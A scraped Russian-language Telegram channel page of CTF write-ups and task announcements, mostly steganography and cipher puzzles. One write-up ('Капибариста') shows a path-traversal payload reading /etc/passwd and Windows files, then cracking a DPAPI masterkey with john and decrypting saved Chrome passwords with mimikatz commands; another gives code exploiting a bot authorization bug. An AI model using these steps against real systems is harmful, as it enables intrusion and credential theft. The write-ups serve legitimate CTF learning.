Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
391 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#writeup #misc
Discard от @Max_RSC

Дан шестнадцатеричный дамп. Назовем его stegofile и обратим:
xxd -r stegofile > res

Посмотрим, что мы получили:
cat res

Эта непонятная последовательность символов представляет собой примитивный шифр ROT-47. Чтобы перевести ROT-47 в ASCII, воспользуемся замечательным сервисом dCode:
https://www.dcode.fr/rot-47-cipher

Мы получили ссылку. Нетрудно догадаться, куда она ведет. Переходим.

Мы пришли на Discord-сервер, который называется CTF. Похоже, что здесь множество чатов. Неужели нужно идти в каждый? Нет. Организаторы оставили подсказку: "25". Вспомним другую подсказку: "Го в войс". Может быть, в 25-м по счету чате войса находится скрытое послание? На сервере два войса, поэтому мне пришлось проверить 25-е чаты в обоих. В первом чате не оказалось ничего, зато во втором было прикреплено вложение – архив WoW.zip.

Скачиваем и распаковываем архив. Мы получили файл WoW.img. На первый взгляд дан файл образа диска, но выполнив:
file WoW.img


...мы поймем, что на самом деле это картинка с расширением .png. Утилита binwalk сообщает, что в картинкe спрятан архив. Достаем егo:

binwalk --dd='.*' WoW.img

В архиве находится текстовый документ, который начинается со слов "Snow may be the only thing...". Слово "snow" наводит на мысль, что мы имеем дело со стеганографией и нужно использовать инструмент stegsnow.

stegsnow -C WhatLiesInside.txt

Выполняем эту команду и получаем флаг.

#HackOsint2024
12
#misc
Роботы и UUID

Друг скинул мне этот сайт, но, как мне кажется, он не так прост. Еще друг сказал: "думай как робот".

https://picode.pythonanywhere.com

Хинт: Надо найти флаг, который состоит из двух частей.

Формат флага: KFCctf{...}

Автор: @while_not_False
🥴9🖕5💊31👍1🌚1
Очередной райтап от рок-звезды нашего канала @Max_RSC

Привет! Я обещал прислать райтапы на интересные таски со SpookyCTF. Сначала хотел прислать ссылки на чужие райтапы, а потом подумал – почему бы не написать самому, если я могу сделать лучше? Первый райтап:


#misc #SpookyCTF2024
the-true-bloop

Нам предоставлен зашифрованный флаг, который, как сообщает автор таска, зашифрован с использованием шифра Виженера. Кроме того, прикреплены четыре аудиофайла (1.wav, 2.wav, 3.wav, 4.wav), которые, надо понимать, каким-то образом помогут нам определить ключ.

Зашифрованный флаг выглядит следующим образом:

g4ed_j05_dX_b0Ww0q_0f_wu4rcK

Поскольку таск относится к категории misc, можно сделать вывод, что в данном случае не требуется выполнение криптоанализа. Следовательно, аудиофайлы – ключ к разгадке.

После прослушивания аудиофайлов мы замечаем, что звуки различаются по высоте, при этом первый и четвертый звуки являются идентичными. Однако, diff сообщает о том, что файлы различаются:
diff 1.wav 4.wav

# Binary files 1.wav and 4.wav differ

По-видимому, это было сделано с целью запутать решающего.

Я уверен, что многие подумали о спектрограммах или SSTV, но это не тот случай, и именно по этой причине таск привлек мое внимание.

Внимательно прослушав аудиофайлы, я сделал предположение, что первый и второй звуки различаются на тон. Используя программу Sonic Visualiser, я проверил их частоты и обнаружил следующее: первый (и четвертый) звуки имеют частоту 293 Гц, второй — 329 Гц, а третий — 440 Гц. Здесь полезно вспомнить, что 440 Гц — это международный стандарт настройки музыкальных инструментов, который определяет частоту ноты A4 (ля первой октавы). Таким образом, я предположил, что наши "таинственные" звуки — это ноты, и оказался прав: первый звук соответствует ноте D4 (ре первой октавы), второй — E4 (ми первой октавы), а третий — A4 (ля первой октавы). Интервал между нотами D (ре) и E (ми) составляет целый тон — мое предположение оказалось верным.

Поскольку первый и четвертый звуки одинаковы, это дает нам слово "DEAD" (D4 + E4 + A4 + D4).

Далее все достаточно очевидно: мы используем любой онлайн-расшифровщик для шифра Виженера и расшифровываем флаг, применив полученный ключ.
🔥118
#misc
First blood

В сети появился таинственный злодей, который всегда и везде оказывается первым. Он начал с участия в CTF, но теперь его амбиции зашли слишком далеко: он разрабатывает некое устройство и строит зловещие планы по захвату мира.

Я уже давно занимаюсь расследованием этого дела, но безуспешно — он всегда на шаг впереди.

Последнее, что мне удалось обнаружить:
seturo.duj
cucruhi
j4hcydqjehnnb
281550

Формат флага: CTF{}, флаг состоит из трех частей.

Автор: @denis_bardak
🔥81👍1
Forwarded from NullByte | Games | CTF
🎄 Новое новогоднее задание 🎄

🔎 PuPPies
Нашей команде дали задание изучить какой-то странный сервер. Все, что мы смогли обнаружить - не менее странный сервис. Хоть мы и смогли достать часть его исходного кода - дальше MOTD продвинуться мы не смогли. Поможешь?

Категория: 🎮 MISC (Python)

👉 Решать здесь
👉 Флаг дополнительно сдать в @writeup_ctf_bot

🎄 Все новогодние задания 🔣

Правила ивента: [ссылка]
ТехПоддержка: [ссылка]

#NY2025 #Challenge #MISC
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥41
task.py
4.7 KB
#misc
КОД-ДНК

Просто еще один инструмент для обфускации кода :)

Формат флага: KFCctf{}

Хинт:
AA-0
AC-1
...
TT-F

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
👍4🗿3💊31🙊1
image.png
171.6 KB
#misc
ШредерAPP 2

Я сделал выводы из своего прошлого опыта и купил новый шредер, но, как выяснилось, он тоже уязвим к восстановлению данных. В результате злоумышленник сумел восстановить картинку и узнать мой пароль от...

Формат флага: KFCctf{}

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
🌭7👍3
#misc
Нестандартный QR-code

Вчера моему другу пришел QR-код, в сообщении упоминалась антискан вотермарка и что-то еще.

Формат флага: KFCctf{}.

Хинт: He1Lo=hE1lO

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
3👍1😁1👌1🗿1
#misc #osint #stegano
First blood

В сети появился таинственный злодей, который всегда и везде оказывается первым. Он начал с участия в CTF, но теперь его амбиции зашли слишком далеко: он разрабатывает некое устройство и строит зловещие планы по захвату мира.

Я уже давно занимаюсь расследованием этого дела, но безуспешно — он всегда на шаг впереди.

Последнее, что мне удалось обнаружить:
seturo.duj
cucruhi
j4hcydqjehnnb
281550

Формат флага: CTF{}, флаг состоит из трех частей.

Автор: @denis_bardak

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
👍4👌1
task.zip
20.3 KB
#misc
Шифрование для перфокарты

Вчера мне попалась на глаза схема шифрования перфоленты и теперь мне не терпится разобраться, как она функционирует. Не мог бы ты мне в этом помочь?

Формат флага: KFCctf{...}

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
👍3
Строка.zip
64.5 KB
#misc #network #coding #tctf2025
Капибегущая строка

Для начала надо экспортировать данные из wireshark в csv файл. Кода у меня нет, можно сделать чрез файл-Export Packet Dissections но там будут лишние строки и у меня код перестал работать. Потом надо написать код преобразующий полученные данные в матрицу, чтобы потом анимировать бегущую строку. Краткое пояснение логики "преобразования матрицы" (функция create_address_mapping)

Под "преобразованием матрицы" здесь понимается процесс отображения одномерного набора адресов устройств (например, 0x0100, 0x0101, ..., 0x0140) на двумерную сетку (матрицу) координат (строка, столбец) для визуализации.

Логика этого преобразования следующая:

Получение и фильтрация адресов: Функция получает на вход множество (set) всех уникальных адресов назначения, найденных в CSV-файле. Сначала отбираются только корректные шестнадцатеричные адреса (начинающиеся с 0x).

Числовое представление и сортировка: Отобранные адреса (которые являются строками) преобразуются в целые числа. Это критически важно для правильной сортировки. Если сортировать строки, то "0x10a" может оказаться раньше "0x109". После преобразования в числа адреса сортируются по возрастанию. Теперь у нас есть упорядоченный список адресов от самого младшего к самому старшему.

Итерация и вычисление координат: Скрипт проходит по этому отсортированному списку адресов. Для каждого адреса известен его порядковый номер (индекс) в этом списке (начиная с 0). Этот индекс используется для вычисления координат на сетке:

Номер строки (row) вычисляется как результат целочисленного деления (//) индекса на количество столбцов в сетке (GRID_COLS). Это показывает, сколько полных строк уже "заполнено" адресами перед текущим.

Номер столбца (col) вычисляется как остаток от деления (%) индекса на количество столбцов в сетке (GRID_COLS). Это показывает позицию адреса внутри его строки.

Предположение о порядке: Этот метод расчета координат предполагает так называемый "row-major order" (построчный порядок). Это значит, что сетка заполняется адресами слева направо, сверху вниз, сначала полностью заполняется первая строка, потом вторая и так далее.

Проверка границ: Скрипт проверяет, не превышает ли вычисленный номер строки (row) максимально допустимый (GRID_ROWS - 1). Если превышает, выводится предупреждение, так как адресов оказалось больше, чем ячеек в заданной сетке.

Создание карты: Результатом является словарь (mapping), где каждому исходному шестнадцатеричному адресу (строке) сопоставляется кортеж с его вычисленными координатами (строка, столбец). Эта карта затем используется функцией create_animation для отрисовки пикселя каждого устройства в нужном месте кадра.

Пример:
Допустим, GRID_COLS = 13.

Адрес с index = 0 -> row = 0 // 13 = 0, col = 0 % 13 = 0 -> Координаты (0, 0)

Адрес с index = 12 -> row = 12 // 13 = 0, col = 12 % 13 = 12 -> Координаты (0, 12)

Адрес с index = 13 -> row = 13 // 13 = 1, col = 13 % 13 = 0 -> Координаты (1, 0) (переход на следующую строку)

Адрес с index = 26 -> row = 26 // 13 = 2, col = 26 % 13 = 0 -> Координаты (2, 0)

Таким образом, упорядоченный список адресов "разворачивается" в двумерную сетку заданного размера

Автор: @K1rlII

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍511
#misc #telegram #tctf2025
Капиблогер (обе версии)

В боте, который выдается, не нажимать кнопку /start, а изменить тему чата, тогда создастся чат, но не пропишется /start и не выдастся роль.

Автор: @iamgosten

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯111👍1🔥1🤨1
#misc #telegram #tctf2025
Капиблогер (обе версии)

Надо отправить боту сообщение "Конкурсы" без начального "/start" - тогда пользователь не будет авторизован и будет возвращаться везде 0 - то есть мы станем организатором.

Пример кода:
from telethon import TelegramClient
import asyncio

async def main():
    # Create application https://my.telegram.org/apps
    api_id = ...
    api_hash = '...'
    session_name = "wtf"
    client = TelegramClient(session_name, api_id, api_hash)
    await client.start()

    msg = await client.send_message('@capyblogger_XXXXXX_bot', 'Конкурсы')
    print(f'Отправлено сообщение {msg.id} в чат {msg.chat_id}')

    await client.run_until_disconnected()

asyncio.run(main())


Автор: @tonysdx

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥31👍1
#misc #forensics
Капибариста

1) Идем на сайт и видим форму с логином. Креды нам не даны, поэтому тыкаем по единственной доступной кнопке - политике о персональных данных. Попадаем на URL:
https://t-barista-adminfilestorage-XXXXXX.spbctf.org/?path=/policy.pdf&action=download
2) Пробуем поменять путь и убрать тег action:
GET /?path=/../../../../../../../../../../../etc/passwd HTTP/2

В ответ получаем:
<html lang=en>
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>Попытка взлома</p>

Ага... А если убрать тег action?
GET /?path=/ HTTP/2

Попадаем в файловый менеджер в вебе!
Однако ничего интересного в текущей папке не находим. Пробуем выбраться при помощи следующего пейлоада:
GET /?path=/./../ HTTP/2

Вылетаем в корневую директорию, кайф
Можем считать /etc/passwd:
GET /?path=/./../etc/passwd HTTP/2

Ответ:
<textarea cols="80" rows="25">root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
</textarea>

Пропустим момент с бесконечными поисками интересных файлов и перейдем к сути: в /mnt примонтирован виндовый диск C:
3) Находим интересные приложения на диске C:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome HTTP/2

По этому пути узнаем, что в системе стоит Chrome. А значит, там может быть сохранена кука для авторизации на сайте!
Забираем SQLite базу данных со всеми кредами хрома:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Default/Login+Data HTTP/2

База данных на ОС Windows зашифрована так называемым masterkey, который мы можем достать по пути
GET /?path=/./../mnt/C/Users/capybarman/AppData/Roaming/Microsoft/Protect//S-1-5-21-1023654651-2831612651-3133783694-1000/c637715b-e447-4cd5-9a72-445ef3861446 HTTP/2

Однако не все так просто - masterkey в свою очередь зашифрован паролем пользователя. Поэтому используем утилиту DPAPImk2john и сбрутим хеш:
python3 DPAPImk2john.py --sid="S-1-5-21-1023654651-2831612651-3133783694-1000" --masterkey="c637715b-e447-4cd5-9a72-445ef3861446" context="local" > hash.txt

Ну и запустим john со словарем rockyou.txt на полученный хеш. Получим пароль Capybara1792
4) Для расшифровки masterkey запустим утилиту mimikatz и выполним:
dpapi::masterkey /in:"c637715b-e447-4cd5-9a72-445ef3861446" /sid:"S-1-5-21-1023654651-2831612651-3133783694-1000" /password:"Capybara1792" /protected

В самом низу будет наш masterkey.
5) Расшифруем ключ при помощи полученного masterkey, также используя mimikatz. Для начала вытащим сам зашифрованный ключ:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Local+State HTTP/2

Он будет находиться по ключу os_crypt.enrypted_key в JSON файле по пути выше. Также перед записью в файл его надо декодировать из base64 и убрать первые 5 символов из раскодированного значения - DPAPI. Сохраним результат в файл dec_data
Запускаем mimikatz и вводим:
dpapi::blob /masterkey:MASTERKEY_FROM_4_STEP /in:"dec_data" /out:"aes.dec"

6) Теперь надо вынуть password из вытащенной на 3 этапе базы данных
SELECT origin_url, username_value, password_value FROM logins

И расшифровать при помощи полученного AES-ключа (можно использовать этот скрипт, например)
7) Получаем пароль OmgSoAdminPasswordVerySecure2025 с логином admin,  авторизуемся на сайте, отключаем опцию "только соевое молоко", наслаждаемся анимацией и получаем флаг!

Автор: @ll0ydik
👍10🤯21
yourock.tar.gz
18.2 KB
#misc
corCTF 2025 – “you rock” от @dontunique

Нам дан бинарь и описание:

Forget Enigma, forget Caesar. The only cipher you need is 2009's infamous password dump.


Правильный ключ восстанавливается, если взять оригинальный список RockYou из 2009 года, сопоставить каждое слово из encoded.rj с его индексом в этом списке (0‑based) и затем восстановить исходный
текст с помощью бинаря encode.

Поскольку первые два числа в выходе encode закодированы случайно, для первой буквы применяется XOR d0 ^ d1, а для каждой следующей буквы подбирается символ такой, что при его подстановке в текущее сообщение вызов encode выдаёт соответствующий d — это и даёт исходные символы.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
91
Подборка райтапов с прошедшего AlfaCTF:

Задания кстати все еще доступны
https://alfactf.ru/tasks

🛡 Защита от спама
(https://t.me/writeup_ctf/784)
#Easy #Infra #Web

🎶 Звуки ностальгии
(https://t.me/writeup_ctf/783)
#Easy #Misc #OSINT

🌊 Цунами дедлайнов
(https://t.me/writeup_ctf/793)
#Easy #Web

🌈🎛 Кислотный ретровейв
(https://t.me/writeup_ctf/786)
#Easy #Web

🌴💰 Пальма с биткоинами
(https://t.me/writeup_ctf/785)
#Easy #Web #JS

👨‍💻🏖 Разработчик на пляже
(https://t.me/writeup_ctf/790)
#Medium #Infra #Dev #Pentest

🎵🌀 Вихрь рик-ролла
(https://t.me/writeup_ctf/789)
#Medium #Web #Logic

🐺🌊 Шакализация волны
(https://t.me/writeup_ctf/788)
#Medium #Web #OAuth #Client

📹🚁 Десант блогеров
(https://t.me/writeup_ctf/787)
#Medium #Web #Logic

🌇🛠 Фиксы в лучах заката
(https://t.me/writeup_ctf/792)
#Hard #Forensics #Linux #Infra #LPE

🥒😈 Дикий огурец
(https://t.me/writeup_ctf/791)
#Hard #Pwn #Python

🏍⚡️ Непослушный мотоциклист
(https://t.me/writeup_ctf/795)
#Hard #Coding #Reverse #Network

🧱🔙 Возвращение стены
(https://t.me/writeup_ctf/794)
#Hard #Web #Client

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1433